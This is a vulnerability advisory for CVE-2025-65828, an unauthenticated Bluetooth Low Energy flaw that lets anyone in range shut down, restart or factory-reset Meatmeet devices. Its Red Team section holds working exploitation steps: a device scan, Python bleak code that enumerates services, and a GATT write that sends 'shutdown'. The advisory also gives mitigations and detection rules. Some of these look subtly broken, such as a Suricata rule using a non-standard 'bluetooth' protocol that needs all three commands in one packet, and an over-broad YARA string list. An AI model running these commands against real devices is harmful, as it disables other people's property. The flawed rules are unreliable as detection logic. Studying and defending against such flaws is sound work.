CVE-2025-65828

Executive Summary

CVE-2025-65828 describes a critical Denial of Service (DoS) vulnerability in Meatmeet devices. An unauthenticated attacker within Bluetooth Low Energy (BLE) range can send commands to shutdown, restart, or clear the device configuration. The "clear config" command disassociates the device from its user, requiring manual re-configuration. This renders the device unable to receive updates from the Meatmeet base station and cloud services until it is physically fixed or turned back on. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is significant for availability and user trust. No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the description, a realistic CVSS v3.1 vector would be:

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Adjacent Network (BLE range)
• Attack Complexity (AC): Low (simple BLE commands)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High

Threat Level: High (Availability impact). The vulnerability allows a complete denial of service with no authentication.

Deep Dive & Mechanics

The vulnerability lies in the BLE command interface of Meatmeet devices. The device exposes services and characteristics that accept commands without authentication. The following commands are exploitable:

• shutdown: Powers off the device.
• restart: Reboots the device, causing temporary unavailability.
• clear config: Resets the device to factory defaults, disassociating it from the user's account. This requires the user to physically reconfigure the device.

The attack is performed by an attacker within BLE range (typically up to 10-100 meters). The attacker uses a BLE-capable device (e.g., smartphone, laptop with BLE adapter) to connect to the Meatmeet device and send these commands. No authentication or encryption is required.

The root cause is the lack of authentication and authorization on BLE commands. The device does not verify the identity of the sender before executing critical operations.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely resides in the BLE GATT server implementation. A patched version would require:

• Authentication: Implement BLE pairing or a challenge-response mechanism.
• Authorization: Restrict critical commands to authenticated users only.
• Input Validation: Validate command origin and context.

Since no source code is provided, a generic example of vulnerable vs. patched BLE command handling is shown below.

Vulnerable (pseudocode):

void on_command_received(uint8_t *command) {
    if (strcmp(command, "shutdown") == 0) {
        power_off();
    } else if (strcmp(command, "clear_config") == 0) {
        factory_reset();
    }
}

Patched (pseudocode):

void on_command_received(uint8_t *command, uint8_t *auth_token) {
    if (!verify_auth_token(auth_token)) {
        return;
    }
    if (strcmp(command, "shutdown") == 0) {
        power_off();
    } else if (strcmp(command, "clear_config") == 0) {
        factory_reset();
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A BLE-capable device (e.g., Raspberry Pi with Bluetooth, smartphone with nRF Connect app)
• Python with bleak or pybluez library
• Proximity to the target Meatmeet device (within BLE range)

Exploitation Steps:

1. Scan for BLE devices:

   sudo hcitool lescan
   

   Identify the Meatmeet device by its advertised name or MAC address.

2. Connect and enumerate services:

   import asyncio
   from bleak import BleakScanner, BleakClient
   
   async def main():
       devices = await BleakScanner.discover()
       for d in devices:
           print(d.name, d.address)
           if "Meatmeet" in d.name:
               async with BleakClient(d.address) as client:
                   services = await client.get_services()
                   for service in services:
                       print(service)
                       for char in service.characteristics:
                           print(char)
   asyncio.run(main())
   

3. Send malicious commands: Identify the characteristic that accepts commands (likely writeable). Send the following payloads:

   • shutdown
   • restart
   • clear config

   Example using bleak:

   await client.write_gatt_char(CHARACTERISTIC_UUID, b"shutdown")
   

Expected Outcome: The device shuts down, restarts, or resets its configuration.

Blue Team (Defensive)

Detection:

• Monitor BLE traffic for unusual command patterns.
• Use BLE sniffers (e.g., Wireshark with BLE dongle) to capture packets.
• Look for repeated connection attempts from unknown devices.

Prevention:

• Implement BLE pairing with secure authentication.
• Use encrypted BLE connections (LE Secure Connections).
• Limit the number of failed connection attempts.
• Require physical button press for critical commands.

Response:

• If a device is compromised, physically reset it and reconfigure.
• Monitor logs for unauthorized BLE connections.
• Update firmware when a patch is available.

Indicators of Compromise (IOCs)

• Network: BLE packets containing commands shutdown, restart, or clear config from an unknown source.
• Host: Device logs showing unexpected shutdown or factory reset events.
• Behavior: Device becomes unresponsive or requires re-configuration without user action.

Example BLE packet capture (Wireshark filter):

btle.data.data == 73687574646f776e  (hex for "shutdown")

Detection Engineering

YARA Rule

rule CVE_2025_65828_Meatmeet_BLE_DoS {
    meta:
        description = "Detects BLE commands used in CVE-2025-65828"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65828"
    strings:
        $cmd1 = "shutdown"
        $cmd2 = "restart"
        $cmd3 = "clear config"
    condition:
        any of ($cmd*)
}

Sigma Rule

title: Meatmeet BLE DoS Command Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects BLE commands associated with CVE-2025-65828
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        EventID: 1001  # Example BLE event ID
        Data|contains:
            - 'shutdown'
            - 'restart'
            - 'clear config'
    condition: selection
falsepositives:
    - Legitimate device management
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-65828 Meatmeet BLE DoS Command"; content:"shutdown"; nocase; content:"restart"; nocase; content:"clear config"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE if not required: Turn off Bluetooth on the device if not needed.
2. Physical security: Ensure devices are in physically secure locations to limit BLE range.
3. Monitor: Watch for unauthorized BLE connections.

Long-term Fix:

• Firmware update: Apply a patch from Meatmeet when available.
• Authentication: Implement BLE pairing with secure authentication.
• Encryption: Use LE Secure Connections for all BLE communication.
• Rate limiting: Limit the number of commands per time period.

Workaround:

• If the device supports it, disable the BLE command interface or restrict it to authenticated users only.

Valters IT
DevSecOps & Cyber Threat Intelligence